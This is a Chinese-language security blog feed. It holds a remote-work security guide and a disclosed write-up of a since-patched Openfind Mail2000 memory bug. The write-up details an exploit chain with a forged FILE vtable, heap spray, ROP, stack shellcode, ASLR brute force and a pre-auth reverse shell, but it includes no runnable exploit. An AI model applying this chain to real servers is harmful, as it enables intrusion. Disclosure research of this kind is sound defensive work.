https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell Wed, 11 Mar 2020 00:00:00 +0800 遠距工作的資安注意事項 <p>近期因新型冠狀病毒(COVID-19, 武漢肺炎)影響,不少企業開放同仁遠距工作 (Telework)、在家上班 (Work from home, WFH)。在疫情加速時,如果沒有準備周全就貿然全面開放,恐怕會遭遇尚未考慮到的資安議題。這篇文章提供一個簡單的指引,到底遠端在家上班有哪些注意事項?我們會從公司管理、使用者兩個面向來討論。</p> <p>如果你只想看重點,請跳到最後一段 TL;DR。</p> <h2 id="攻擊手段">攻擊手段</h2> <p>我們先來聊聊攻擊的手段。試想以下幾個攻擊情境,這些情境都曾被我們利用在紅隊演練的過程中,同樣也可能是企業的盲點。</p> <ol> <li>情境一、<strong>VPN 撞庫攻擊</strong>:同仁 A 使用 VPN 連線企業內部網路,但 VPN 帳號使用的是自己慣用的帳號密碼,並且將這組帳號密碼重複使用在外其他非公司的服務上(如 Facebook、Adobe),而這組密碼在幾次外洩事件中早已外洩。攻擊團隊透過鎖定同仁 A,使用這組密碼登入企業內部。而很遺憾的 VPN 在企業內部網路並沒有嚴謹的隔離,因此在內部網路的直接找到內網員工 Portal,取得各種機敏資料。</li> <li>情境二、<strong>VPN 漏洞</strong>:VPN 漏洞已經成為攻擊者的主要攻略目標,公司 B 使用的 VPN 伺服器含有漏洞,攻擊團隊透過漏洞取得 VPN 伺服器的控制權後,從管理後台配置客戶端 logon script,在同仁登入時執行惡意程式,獲得其電腦控制權,並取得公司機密文件。可以參考之前 Orange &amp; Meh 的研究:<a href="https://www.youtube.com/watch?v=v7JUMb70ON4"> https://www.youtube.com/watch?v=v7JUMb70ON4</a></li> <li>情境三、<strong>中間人攻擊</strong>:同仁 C 在家透過 PPTP VPN 工作。不幸的是 C 小孩的電腦中安裝了含有惡意程式的盜版軟體。攻擊者透該電腦腦進行內網中間人攻擊 (MITM),劫持 C 的流量並破解取得 VPN 帳號密碼,成功進入企業內網。</li> </ol> <p>以上只是幾個比較常見的情境,攻擊團隊的面向非常廣,而企業的防禦卻不容易做到滴水不漏。這也是為什麼我們要撰寫這篇文章,希望能幫助一些企業在遠距工作的時期也能達到基本的安全。</p> <h2 id="風險有什麼">風險有什麼</h2> <p>風險指的是發生某個事件對於該主體可能造成的危害。透過前面介紹的攻擊手段要達成危害,對攻擊者來說並不困難,接著我們盤點出一些在企業的資安規範下,因應遠距工作可能大幅增加攻擊者達成機率的因子:</p> <ul> <li>環境複雜:公司無法管控家中、遠距的工作環境,這些環境也比較複雜危險。一些公司內部的管理監控機制都難以施展,也較難要求同仁在家中私人設備安裝監控機制。</li> <li>公司資料外洩或不當使用:若公司的資料遭到外洩或不當使用,將會有嚴重的損失。</li> <li>設備遺失、遭竊:不管是筆電或者是手機等裝置,遺失或者遭竊時,都會有資料外洩的風險。</li> <li>授權或存取控制不易實作:在短時間內提供大量員工的外部存取,勢必會在「可用性」和「安全性」間做出取捨。</li> </ul> <p>若公司允許同仁使用私人的設備連上公司內部 VPN,這樣的議題就等同 BYOD (Bring Your Own Device),這些安全性的顧慮有不少文章可以參考。例如 NIST SP800-46 Guide to Enterprise Telework, Remote Access, and Bring Your Own Device (BYOD) Security<a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-46r2.pdf"> https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-46r2.pdf</a></p> <h2 id="公司面向">公司面向</h2> <p>接下來我們來看看公司方面在遠距工作上面有哪些資安上面的作為。</p> <h3 id="工作流程及原則規劃">工作流程及原則規劃</h3> <ul> <li><strong>工作流程調整</strong>:遠距工作時,每個流程該如何作對應的調整,例如如何在不同地點協同作業、彙整工作資料、確認工作成果及品質等。</li> <li><strong>資料盤點</strong>:哪些資料放在雲端、伺服器、個人電腦,當遠距工作時哪些資料將無法被取用,或該將資料轉移到哪邊。</li> <li><strong>會議流程</strong>:會議時視訊設備、軟體選擇及測試,並注意會議軟體通訊是否有加密。狀況如會議時間延長、同時發言、遠距品質影響等。</li> <li><strong>事件處理團隊及流程</strong>:因遠距工作時發生的資安事件,該由誰負責處理、如何處理、盤點損失。</li> <li><strong>僅知、最小權限原則</strong>:僅知原則 (Need-to-know Basis) 以及最小權限原則 (Principle of Least Privilege, PoLP),僅給予每個同仁最小限度需要的資料以及權限,避免額外的安全問題。</li> </ul> <h3 id="網路管理">網路管理</h3> <ul> <li><strong>VPN 帳號申請及盤點</strong>:哪些同仁需要使用 VPN,屬於哪些群組,每個群組的權限及連線範圍皆不同。</li> <li><strong>VPN 帳號權限範圍及內網分區</strong>:VPN 連線進來後,不應存取整個公司內網所有主機,因為 VPN 視同外部連線,風險等級應該更高,更應該做連線的分區管控。</li> <li><strong>監控確認 VPN 流量及行為</strong>:透過內部網路的網路流量監控機制,確認 VPN 使用有無異常行為。</li> <li><strong>只允許白名單設備取得 IP 位址</strong>:已申請的設備才能取得內網 IP 位址,避免可疑設備出現在內部網路。</li> <li><strong>開啟帳號多因子認證</strong>:將雲端服務、VPN、內部網路服務開啟多因子認證。</li> <li> <p><strong>確認 VPN 伺服器是否為新版</strong>:在我們過去的研究發現 VPN 伺服器也會是攻擊的對象,因此密切注意是否有更新或者修補程式。</p> <ul> <li>Palo Alto GlobalProtect 資安通報 <a href="https://devco.re/blog/2019/07/17/Palo-Alto-GlobalProtect-advisory/">https://devco.re/blog/2019/07/17/Palo-Alto-GlobalProtect-advisory/</a></li> <li>FortiGate SSL VPN 資安通報 <a href="https://devco.re/blog/2019/08/09/Fortigate-SSL-VPN-advisory/">https://devco.re/blog/2019/08/09/Fortigate-SSL-VPN-advisory/</a></li> <li>Pulse Secure SSL VPN 資安通報 <a href="https://devco.re/blog/2019/08/28/Pulse-Secure-SSL-VPN-advisory/">https://devco.re/blog/2019/08/28/Pulse-Secure-SSL-VPN-advisory/</a></li> </ul> </li> </ul> <p>其中值得特別點出的是 VPN 的設定與開放。近期聽聞到不少公司的管理階層談論到,因應疫情原本不開放 VPN 權限的同仁現在全開放了。而問到 VPN 連線進公司內部網路之後的監控跟阻隔為何,卻較少有企業具備這樣的規劃。內部網路是企業的一大資安戰場,開放 VPN 的同時,必定要思考資安對應的措施。</p> <h2 id="使用者面向">使用者面向</h2> <p>公司準備好了,接下來就是使用者的安全性了。除了公司提供的 VPN 線路、架構、機制之外,使用者本身的資安意識、規範、安全性設定也一樣重要。</p> <h3 id="保密">保密</h3> <ul> <li><strong>專機專用</strong>:用來存取公司網路或資料的電腦,應嚴格遵守此原則,禁止將該設備作為非公務用途。也應避免非公司人士使用或操作該裝置。</li> </ul> <h3 id="設備相關">設備相關</h3> <ul> <li><strong>開啟裝置協尋、鎖定、清除功能</strong>:設備若可攜帶移動,設備的遺失對應方案就必須要考慮完整。例如如何尋找裝置、如何鎖定裝置、如何遠端清除已遺失的裝置避免資料外洩。現在主流作業系統多半都會提供這些機制。</li> <li><strong>設備登入密碼</strong>:裝置登入時必須設定密碼,避免外人直接操作。</li> <li><strong>設備全機加密</strong>:設備若遺失遭到分析,全機加密可以降低資料被破解遺失的風險。</li> <li>(選擇性)<strong>MDM (Mobile Device Management)</strong>:若公司有導入 MDM,可以協助以上的管理。</li> </ul> <h3 id="帳號密碼安全">帳號密碼安全</h3> <ul> <li><strong>使用密碼管理工具並設定「強密碼」</strong>:可以考慮使用密碼管理工具並將密碼設為全隨機產生包含英文、數字、符號的密碼串。</li> <li><strong>不同系統帳號使用不同密碼</strong>:這個在很多次演講中都有提到,建議每個系統皆使用不同密碼,防止撞庫攻擊。</li> <li><strong>帳號開啟 2FA / MFA</strong>:若系統具備 2FA / MFA 機制,務必開啟,為帳號多一層保護。</li> </ul> <h3 id="網路使用">網路使用</h3> <ul> <li><strong>避免使用公用 Wi-Fi 連接公司網路</strong>:公眾公用網路是相當危險的,恐被側錄或竄改。若必要時可使用手機熱點或透過 VPN 連接網際網路。</li> <li><strong>禁止使用公用電腦登入公司系統</strong>:外面的公用電腦難確保沒有後門、Keylogger 之類的惡意程式,一定要禁止使用公用電腦來登入任何系統。</li> <li><strong>確認連線裝置是否可取得內網 IP 位址</strong>:確認內網 IP 位址是否無誤,是否能夠正常存取公司內部系統。</li> <li><strong>確認連線的對外 IP 位址</strong>:確認連線至網際網路的 IP 位址是否為預期,尤其是資安服務公司,對客戶連線的 IP 位址若有錯誤,可能釀成非常嚴重的損害。</li> <li>(選擇性)<strong>安裝個人電腦防火牆</strong>:個人防火牆可以基本監控有無可疑程式想對外連線。</li> <li>(選擇性)<strong>採用 E2EE 通訊工具</strong>:目前企業都會使用雲端通訊軟體,通訊軟體建議採用有 E2EE (End-to-End Encryption),如此可以確保公司內的機敏通訊內容只有內部人員才能解密,就連平台商也無法存取。</li> <li>(選擇性)<strong>工作時關閉不必要的連線</strong>(如藍牙等):部分資安專家表示,建議在工作時將電腦的非必要連線管道全數關閉,如藍牙等,在外部公眾環境或許有心人士可以透過藍牙 exploit 攻擊個人裝置。</li> </ul> <h3 id="資料管理">資料管理</h3> <ul> <li><strong>只留存在公司設備</strong>:公司的機敏資料、文件等,必須只留存在公司設備中,避免資料外洩以及管理問題。</li> <li><strong>稽核記錄</strong>:記錄機敏資料的存放、修改、擁有人等資訊。</li> <li><strong>重要文件加密</strong>:重要的文件必須加密,且密碼不得存放在同一目錄。</li> <li><strong>信件附件加密</strong>,密碼透過另一管道傳遞:郵件的附件除了要加密之外,密碼必須使用另一管道傳遞。例如當面告知、事前約定、透過 E2EE 加密通道、或者是透過非網路方式給予。</li> <li><strong>備份資料</strong>:機敏資料一定要備份,可以遵循「3-2-1 Backup Strategy」:三份備份、兩種媒體、一個放置異地。</li> </ul> <h3 id="實體安全">實體安全</h3> <ul> <li><strong>離開電腦時立刻鎖定螢幕</strong>:離開電腦的習慣是馬上進入螢幕保護程式並且鎖定,不少朋友是放著讓他等他自己進入鎖定,但這個時間差有心人士已經可以完成攻擊。</li> <li><strong>禁止插入來路不明的隨身碟或裝置</strong>:社交工程的手法之一,就是讓同仁插入惡意的 USB,甚至有可能摧毀電腦(Bad USB, USB Killer)。</li> <li><strong>注意外人偷窺螢幕或碰觸設備</strong>:若常在外工作處於公共空間,可以考慮採購螢幕防窺片。</li> <li><strong>不放置電腦設備在車上</strong>:雖然台灣治安不錯,但也是不少筆電在車上遭竊,重要資產記得隨身攜帶,或者放置在隱密處。</li> <li><strong>將工作區域關門或鎖上</strong>:若在自己的工作區域,為了爭取更多時間應變突發狀況,建議將工作區域的門關閉或者上鎖。</li> </ul> <h2 id="tldr-防疫同時也別忽視資訊安全">TL;DR 防疫同時也別忽視資訊安全!</h2> <p>網路的攻防就是一場戰爭,如果不從攻擊者的面向去思考防禦策略,不但無法有效的減緩攻擊,更可能在全世界疫情逐漸失控的當下,讓惡意人士透過這樣的時機攻擊遠距工作的企業。期望我們的經驗分享能夠給企業一些基本的指引,也希望天災人禍能夠儘速消彌。台灣加油!</p> <ul> <li>開放 VPN 服務前,注意帳號管理以及內網切割隔離,避免透過 VPN 存取內網任意主機。</li> <li>雲端、網路服務務必使用獨一無二長密碼,並開啟 MFA / 2FA 多因子認證。</li> <li>使用雲端服務時務必盤點存取權限,避免文件連結可被任意人存取。</li> <li>注意設備遺失、竊取、社交工程等實體安全議題。</li> <li>網路是危險的,請使用可信賴的網路,並在通訊、傳輸時採用加密方式進行。</li> </ul> https://devco.re/blog/2020/03/04/telework-security/ https://devco.re/blog/2020/03/04/telework-security Wed, 04 Mar 2020 00:00:00 +0800 飛鴿傳書 - 紅隊演練中的數位擄鴿 <p>郵件系統作為大部分企業主要的資訊交換方式,在戰略上佔有了舉足輕重的地位。掌控了郵件伺服器不僅可以竊聽郵件的內容,甚至許多重要文件都可以在郵件系統中找到,使得駭客能夠更進一步的滲透。本篇文章將介紹研究組在 Openfind Mail2000 這套軟體上發現的記憶體漏洞,以及利用這個漏洞的攻擊手法。 <strong>此漏洞為 2018 年時發現,當時已通報 Openfind 並且迅速被修補,同時也已協助相關用戶進行更新。</strong></p> <h2 id="openfind-mail2000">Openfind Mail2000</h2> <p>Mail2000 是一套由台灣廠商 Openfind 所開發,簡單易用的電子郵件系統,被廣泛使用於台灣的公家機關、教育機構,如台北市教育局、中科院,以及臺灣科技大學都有使用 Mail2000 作為主要的郵件伺服器。常見的入口介面如下: <img src="/assets/img/blog/20191223/1.png" alt="" /></p> <p>這次的漏洞,便是從這個 Web 介面,利用 Binary 的手法,攻陷整台伺服器!</p> <h2 id="伺服器架構">伺服器架構</h2> <p>Mail2000 提供了 Web 介面供管理員以及使用者操作,也就是所謂的 Webmail,而此處 Openfind 使用了 CGI (Common Gateway Interface) 的技術來實作。大多數 Web 伺服器實現 CGI 的方式如圖: <img src="/assets/img/blog/20191223/2.png" alt="" /> 首先由 httpd 接受客戶端的請求後,根據對應的 CGI 路徑,執行相對應的 CGI 檔案。而大多數的開發者會根據需求,將常見的共用 function 撰寫成 library,供 CGI 呼叫。 往底層來看,其實可以發現,雖然稱為 Web 伺服器,仍有許多元件是建構於 binary 之上的!例如 httpd,為了效能,多是由 C/C++ 所撰寫,而其它像是 library、擴充的 module、各頁面的 CGI 也常是如此。因此,binary 相關的漏洞,便是我們這次的攻擊目標!</p> <h2 id="漏洞">漏洞</h2> <p>這個漏洞位於 Openfind 實作的 library <code class="language-plaintext highlighter-rouge">libm2kc</code> 中,此函式庫包含了各種 CGI 通用函式,如參數解析及檔案處理等等,而這個漏洞就發生在參數解析的部分。由於參數處理是很底層且基本的功能,因此影響的範圍非常的大,就連 Openfind 的其它產品也同樣受影響! 這個漏洞的觸發條件如下:</p> <ul> <li>攻擊者使用 multipart 形式發送 HTTP POST 請求</li> <li>POST 傳送的資料內容超過 200 項</li> </ul> <p>multipart 是 HTTP 協定中,用來處理多項檔案傳輸時的一種格式,舉例如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Content-Type: multipart/form-data; boundary=AaB03x 
 
--AaB03x
 Content-Disposition: form-data; name="files"; filename="file1.txt"
 Content-Type: text/plain
 
... contents of file1.txt ... 
--AaB03x-- </code></pre></div></div> <p>而在 libm2kc 中,使用了陣列來儲存參數:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">g_stCGIEnv</span><span class="p">.</span><span class="n">param_cnt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">while</span><span class="p">(</span><span class="n">p</span><span class="o">=</span><span class="n">next_param</span><span class="p">())</span> <span class="p">{</span> <span class="n">g_stCGIEnv</span><span class="p">.</span><span class="n">param</span><span class="p">[</span><span class="n">param_cnt</span><span class="p">]</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span> <span class="n">g_stCGIEnv</span><span class="p">.</span><span class="n">param_cnt</span><span class="o">++</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>這個陣列為全域變數 g_stCGIEnv 中的 param,在存入 param 陣列時,並沒有檢查是否已超過宣告的陣列大小,就造成了越界寫入。 <img src="/assets/img/blog/20191223/3.png" alt="" /></p> <p>需要注意的是,param 陣列所儲存的結構為指向字串位置的指標,而非字串本身</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">param</span> <span class="p">{</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">;</span> <span class="kt">char</span> <span class="o">*</span><span class="n">value</span><span class="p">;</span> <span class="kt">int</span> <span class="n">flag</span><span class="p">;</span> <span class="p">};</span> </code></pre></div></div> <p>因此當觸發越界寫入時,寫入記憶體的值也是一個個指向字串的指標,而被指向的字串內容則是造成溢出的參數。 <img src="/assets/img/blog/20191223/4.png" alt="" /></p> <h2 id="漏洞利用">漏洞利用</h2> <p>要利用越界寫入的漏洞,就要先了解利用這個溢出可以做到什麼,發生溢出的全域變數結構如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000 CGIEnv struc ; (sizeof=0x6990, mappedto_95) 00000000 buf dd ? ; offset 00000004 length dd ? 00000008 field_8 dd 6144 dup(?) ; offset 00006008 param_arr param 200 dup(?) 00006968 file_vec dd ? ; offset 0000696C vec_len dd ? 00006970 vec_cur_len dd ? 00006974 arg_cnt dd ? 00006978 field_6978 dd ? 0000697C errcode dd ? 00006980 method dd ? 00006984 is_multipart dd ? 00006988 read_func dd ? 0000698C field_698C dd ? 00006990 CGIEnv ends </code></pre></div></div> <p>溢出的陣列為其中的<code class="language-plaintext highlighter-rouge">param_arr</code>,因此在其之後的變數皆可能被覆寫。包括<code class="language-plaintext highlighter-rouge">post_files</code>、<code class="language-plaintext highlighter-rouge">vec_len</code>、<code class="language-plaintext highlighter-rouge">vec_cur_len</code>、<code class="language-plaintext highlighter-rouge">arg_cnt</code> … 等等。其中最吸引我注意的是<code class="language-plaintext highlighter-rouge">file_vec</code>這個變數,這是一個用來管理 POST 上傳檔案的 <code class="language-plaintext highlighter-rouge">vector</code>,大部分的 <code class="language-plaintext highlighter-rouge">vector</code> 結構像是這樣: <img src="/assets/img/blog/20191223/5.png" alt="" /> 使用 <code class="language-plaintext highlighter-rouge">size</code> 記錄陣列的總長度,<code class="language-plaintext highlighter-rouge">end</code> 記錄目前用到哪裡,這樣就可以在容量不夠的時候進行擴充。我們若利用漏洞,使溢出的指標覆蓋 <code class="language-plaintext highlighter-rouge">vector</code> 的指標,就有可能有效的利用!藉由覆蓋這個 <code class="language-plaintext highlighter-rouge">vector</code> 指標,我們可以達到偽造一個 <code class="language-plaintext highlighter-rouge">POST file</code>,及其中所有相關變數的效果,而這個 <code class="language-plaintext highlighter-rouge">POST file</code> 結構裡面就包含了各種常見的檔案相關變數,像是路徑、檔名,和 Linux 中用來管理檔案的 <strong><code class="language-plaintext highlighter-rouge">FILE</code> 結構</strong>,而 <code class="language-plaintext highlighter-rouge">FILE</code> 結構便是這次的攻擊的關鍵!</p> <h3 id="file-structure-exploit">FILE Structure Exploit</h3> <p>這次的攻擊使用了 FILE structure exploit 的手法,是近幾年較新發現的攻擊手法,由 angelboy 在 HITCON CMT 公開<a href="https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique" target="_blank" rel="noopener"><sup>[1]</sup></a>: <img src="/assets/img/blog/20191223/6.png" alt="" /></p> <p>FILE 結構是 Linux 中用來做檔案處理的結構,像是 <code class="language-plaintext highlighter-rouge">STDIN</code>、<code class="language-plaintext highlighter-rouge">STDOUT</code>、<code class="language-plaintext highlighter-rouge">STDERR</code>,或者是呼叫 <code class="language-plaintext highlighter-rouge">fopen</code> 後回傳的結構都是 <code class="language-plaintext highlighter-rouge">FILE</code>。而這個結構之所以能成為漏洞利用的突破口主要原因就是它所包含的 <code class="language-plaintext highlighter-rouge">vtable</code> 指標:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">_IO_FILE_plus</span> <span class="p">{</span> <span class="kt">FILE</span> <span class="n">file</span><span class="p">;</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">_IO_jump_t</span> <span class="o">*</span><span class="n">vtable</span><span class="p">;</span> <span class="p">};</span> </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">vtable</code> 當中記錄了各種 function pointer,對應各種檔案處理相關的功能:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">_IO_jump_t</span> <span class="p">{</span> <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">__dummy</span><span class="p">);</span> <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">__dummy2</span><span class="p">);</span> <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_finish_t</span><span class="p">,</span> <span class="n">__finish</span><span class="p">);</span> <span class="cm">/* ... */</span> <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_read_t</span><span class="p">,</span> <span class="n">__read</span><span class="p">);</span> <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_write_t</span><span class="p">,</span> <span class="n">__write</span><span class="p">);</span> <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seek_t</span><span class="p">,</span> <span class="n">__seek</span><span class="p">);</span> <span class="n">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_close_t</span><span class="p">,</span> <span class="n">__close</span><span class="p">);</span> <span class="cm">/* ... */</span> <span class="p">};</span> </code></pre></div></div> <p>因此如果我們可以篡改、偽造這個 <code class="language-plaintext highlighter-rouge">vtable</code> 的話,就可以在程式做檔案處理的時候,劫持程式流程!我們可以以此訂出以下的攻擊步驟:</p> <ol> <li>建立連線,呼叫 CGI</li> <li>使用大量參數,覆寫 vector 指標</li> <li>偽造 POST file 當中的 FILE*,指向一塊偽造的 FILE 結構</li> <li>在 CGI 流程中呼叫 FILE 相關的操作 <ul> <li>fread, fwrite, fclose, …</li> </ul> </li> <li>劫持程式流程</li> </ol> <p>我們現在已經知道終點是<strong>呼叫一個 FILE 操作</strong>,那麼就可以開始往回找<strong>哪個 function</strong> 是 CGI 常用的 FILE 操作,又有<strong>哪一些 CGI</strong> 可以作為入口點,才能串出我們的攻擊鏈!我們首先對使用到 POST file 的相關函式做研究,並選定了目標 <code class="language-plaintext highlighter-rouge">MCGI_VarClear()</code>。 <code class="language-plaintext highlighter-rouge">MCGI_VarClear()</code> 在許多用到 FILE 的 CGI 中有被呼叫,它用於在程式結束前將 <code class="language-plaintext highlighter-rouge">g_stCGIEnv</code> 清空,包括將動態配置的記憶體 <code class="language-plaintext highlighter-rouge">free()</code> 掉,以及將所有 FILE 關閉,也就是呼叫 <code class="language-plaintext highlighter-rouge">fclose()</code>,也意味著是可以通過 vtable 被劫持的!我們可以使用這個越界寫入漏洞蓋掉 <code class="language-plaintext highlighter-rouge">file_vec</code>,而指向的內容就是 HTTP request 的參數,便可以偽造為 POST files!像是下面這個結構: <img src="/assets/img/blog/20191223/7.png" alt="" /></p> <p>我們的最終目標就是將 FILE* 指向偽造的結構,藉由偽造的 vtable 劫持程式流程!這時候便出現了一個問題,我們需要將 FILE* 這個指標指向一個內容可控的位置,但是其實我們並不知道該指到哪裡去,會有這個問題是起因於 Linux 上的一個防禦機制 - ASLR。</p> <h3 id="address-space-layout-randomization-aslr">Address Space Layout Randomization (ASLR)</h3> <p>ASLR 使得每次程式在執行並載入記憶體時,會隨機載入至不同的記憶體位置,我們可以嘗試使用 <code class="language-plaintext highlighter-rouge">cat /proc/self/maps</code> 觀察每一次執行時的記憶體位置是否相同: <img src="/assets/img/blog/20191223/8.png" alt="" /> ASLR 在大部分的環境中都是預設開啟的,因此在撰寫 exploit 時,常遇到可以偽造指標,卻不知道該指到哪裡的窘境。 而這個機制在 CGI 的架構下會造成更大的阻礙,一般的伺服器的攻擊流程可能是這樣: <img src="/assets/img/blog/20191223/9.png" alt="" /> 可以在一個連線當中 leak address 並用來做進一步的攻擊,但在 CGI 架構中卻是這樣: <img src="/assets/img/blog/20191223/10.png" alt="" /> 在這個情況下,leak 得到的 address 是無法在後續攻擊中使用的!因為 CGI 執行完就結束了,下一個 request 又是全新的 CGI! 為了應對這個問題,我們最後寫了兩個 exploit,攻擊的手法根據 CGI binary 而有不同。</p> <h3 id="post-auth-rce---cgi-binmsg_read">Post-Auth RCE - <code class="language-plaintext highlighter-rouge">/cgi-bin/msg_read</code></h3> <p>第一個 exploit 的入口點是一個需要登入的頁面,這一隻程式較大、功能也較多。在這一個 exploit 中,我們使用了 heap spray 的手法來克服 ASLR,也就是在 heap 中填入大量重複的物件,如此一來我們就有很高的機率可以<strong>猜</strong>到它的位置。 <img src="/assets/img/blog/20191223/11.png" alt="" /> 而 spray 的內容就是大量偽造好的 FILE 結構,包含偽造的 vtable。從這隻 binary 中,我們找到了一個十分實用的 <strong>gadget</strong>,也就是小程式片段:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xchg eax, esp; ret </code></pre></div></div> <p>這個 gadget 的作用在於,我們可以<strong>改變 stack 的位置</strong>,而剛好此時的 <code class="language-plaintext highlighter-rouge">eax</code> 指向內容是可控的,因此整個 stack 的內容都可以偽造,也就是說我們可以使用 ROP(Return-oriented programming) 來做利用!於是我們在偽造的 vtable 中設置了 stack 搬移的 gadget 以及後續利用的 ROP 攻擊鏈,進行 ROP 攻擊! <img src="/assets/img/blog/20191223/12.png" alt="" /></p> <p>我們可以做 ROP,也就可以拿 shell 了對吧!你以為是這樣嗎?不,其實還有一個大問題,同樣導因於前面提到的防禦機制 ASLR – 我們沒有 system 的位置!這隻 binary 本身提供的 gadget 並不足以開啟一個 shell,因此我們希望可以直接利用 libc 當中的 system 來達成目的,但正如前面所提到的,記憶體位置每次載入都是隨機化的,我們並不知道 system 的確切位置! 經過我們仔細的觀察這支程式以後,我們發現了一件非常特別的事,這隻程式理論上是有打開 NX,也就是可寫段不可執行的保護機制 <img src="/assets/img/blog/20191223/13.png" alt="" /> 但是實際執行的時候,stack 的執行權限卻會被打開! <img src="/assets/img/blog/20191223/14.png" alt="" /> 不論原因為何,這個設置對駭客來說是非常方便的,我們可以利用這個可執行段,將 shellcode 放上去執行,就可以成功得到 shell,達成 RCE!</p> <p>然而,這個攻擊是需要登入的,對於追求完美的 DEVCORE 研究組來說,並不足夠!因此我們更進一步的研究了其它攻擊路徑!</p> <h3 id="pre-auth-rce---cgi-bincgi_api">Pre-Auth RCE - <code class="language-plaintext highlighter-rouge">/cgi-bin/cgi_api</code></h3> <p>在搜索了所有 CGI 入口點以後,我們找到了一個不需要登入,同時又會呼叫 <code class="language-plaintext highlighter-rouge">MCGI_VarClear()</code> 的 CGI – <code class="language-plaintext highlighter-rouge">/cgi-bin/cgi_api</code>。一如其名,它就是一隻呼叫 API 的接口,因此程式本身非常的小,幾乎是呼叫完 library 就結束了,也因此不再有 stack pivot 的 gadget 可以利用。 這時,由於我們已經得知 stack 是可執行的,因此其實我們是可以跳過 ROP 這個步驟,直接將 shellcode 放置在 stack 上的,這裡利用到一個 CGI 的特性 – HTTP 的相關變數會放在環境變數中,像是下列這些常見變數:</p> <ul> <li>HTTP_HOST</li> <li>REQUEST_METHOD</li> <li>QUERY_STRING</li> </ul> <p>而環境變數事實上就是被放置在 stack 的最末端,也就是可執行段的位置,因此我們只要偽造 vtable 直接呼叫 shellcode 就可以了! <img src="/assets/img/blog/20191223/15.png" alt="" /></p> <p>當然這時候同樣出現了一個問題:我們仍舊沒有 stack 的記憶體位置。這個時候有些人可能會陷入一個迷思,覺得攻擊就是要一次到位,像個狙擊手一樣一擊必殺,但實際上可能是這樣拿機關槍把敵人炸飛:</p> <p><img src="/assets/img/blog/20191223/16.png" alt="" /></p> <p>換個角度思考,這隻 binary 是 32 bits 的,因此這個位置有 1.5bytes 是隨機的,總共有 16<sup>3</sup> 個可能的組合,所以其實平均只要 4096 次請求就可以撞到一次!這對於現在的電腦、網路速度來說其實也就是幾分鐘之間的事情,因此直接做暴力破解也是可行的!於是我們最終的 exploit 流程就是:</p> <ol> <li>發送 POST 請求至 <code class="language-plaintext highlighter-rouge">cgi_api</code> <ul> <li>QUERY_STRING 中放入 shellcode</li> </ul> </li> <li>觸發越界寫入,覆蓋 <code class="language-plaintext highlighter-rouge">file_vec</code> <ul> <li>在越界的參數準備偽造的 FILE &amp; vtable</li> </ul> </li> <li><code class="language-plaintext highlighter-rouge">cgi_api</code> 結束前呼叫 <code class="language-plaintext highlighter-rouge">MCGI_VarClear</code></li> <li>跳至 vtable 上的 shellcode 位置,建立 reverse shell</li> </ol> <p>最後我們成功寫出了不用認證的 RCE 攻擊鏈,並且這個 exploit 是不會因為 binary 的版本不同而受影響的!而在實際遇到的案例中也證明了這個 exploit 的可行性,我們曾在一次的演練當中,藉由 Mail2000 的這個 1day 作為突破口,成功洩漏目標的 VPN 資料,進一步往內網滲透!</p> <h2 id="漏洞修復">漏洞修復</h2> <p>此漏洞已在 2018/05/08 發布的 Mail2000 V7 Patch 050 版本中完成修復。Patch 編號為 OF-ISAC-18-002、OF-ISAC-18-003。</p> <h2 id="後記">後記</h2> <p>最後想來談談對於這些漏洞,廠商該用什麼樣的心態去面對。作為一個提供產品的廠商,Openfind 在這一次的漏洞處理中有幾個關鍵值得學習:</p> <ul> <li>心態開放 <ul> <li>主動提供測試環境</li> </ul> </li> <li>積極修復漏洞 <ul> <li>面對漏洞以積極正向的態度,迅速處理</li> <li>修復完畢後,與提報者合作驗證</li> </ul> </li> <li>重視客戶安全 <ul> <li>發布重大更新並主動通報客戶、協助更新</li> </ul> </li> </ul> <p>其實產品有漏洞是很正常也很難避免的事,而我們研究組是作為一個協助者的角色,期望能藉由回報漏洞幫助企業,提高資安意識並增進台灣的資安水平!希望廠商們也能以正向的態度來面對漏洞,而不是閃躲逃避,這樣只會令用戶們陷入更大的資安風險當中!</p> <p>而對於使用各項設備的用戶,也應當掌握好屬於自己的資產,防火牆、伺服器等產品並不是購買來架設好以後就沒有問題了,做好資產盤點、追蹤廠商的安全性更新,才能確保產品不受到 1day 的攻擊!而定期進行滲透測試以及紅隊演練,更是可以幫助企業釐清自己是否有盲點、缺失,進而改善以降低企業資安風險。</p> https://devco.re/blog/2019/12/23/how-binary-dog-survives-in-web-world/ https://devco.re/blog/2019/12/23/how-binary-dog-survives-in-web-world Mon, 23 Dec 2019 00:00:00 +0800 你用它上網,我用它進你內網! 中華電信數據機遠端代碼執行漏洞 <p>大家好,我是 Orange! 這次的文章,是我在 <a href="https://devco.re/conf/2019/">DEVCORE CONFERENCE 2019</a> 